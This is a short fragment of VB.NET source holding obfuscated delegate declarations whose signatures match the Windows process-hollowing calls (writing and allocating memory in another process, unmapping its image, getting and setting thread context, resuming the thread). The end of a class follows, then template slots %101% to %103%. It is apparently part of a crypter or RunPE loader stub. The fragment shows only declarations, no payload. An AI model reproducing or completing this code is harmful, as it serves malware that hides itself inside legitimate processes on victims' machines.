Delegate Function ZGOQ8VM05M(ByVal DASE32 As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DSAE32 As Byte(), ByVal DASEADAS As Integer, <Out()> ByRef ASD43FA As Integer) As Boolean
|
|
Delegate Function Q7QRRP639W(ByVal FASFDASDAS As IntPtr, ByVal AL8ZCRFWNU As Integer, ByRef CAS32 As Integer, ByVal ASDASC As Integer, ByRef CASTWE As Integer) As Integer
|
|
Delegate Function W6CTR6GLCC(ByVal DASE43E As IntPtr, ByVal AL8ZCRFWNU As Integer, ByVal DASCAS3 As UInt32, ByVal DAS3 As UInt32, ByVal DAS32 As UInt32) As IntPtr
|
|
Delegate Function EFVI2YI66B(ByVal DASE3 As IntPtr, ByVal AL8ZCRFWNU As Integer) As Long
|
|
Delegate Function WS2XVBNVO9(ByVal DASEAS As IntPtr) As UInt32
|
|
Delegate Function R84OY4NT36(ByVal DASDASC As IntPtr, ByRef DSACSA43 As Context) As Boolean
|
|
Delegate Function K7B3INYH01(ByVal ASDASCASDASD As IntPtr, ByRef ASCA434 As Context) As Boolean
|
|
End Class
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
%101%
|
|
%102%
|
|
%103%
|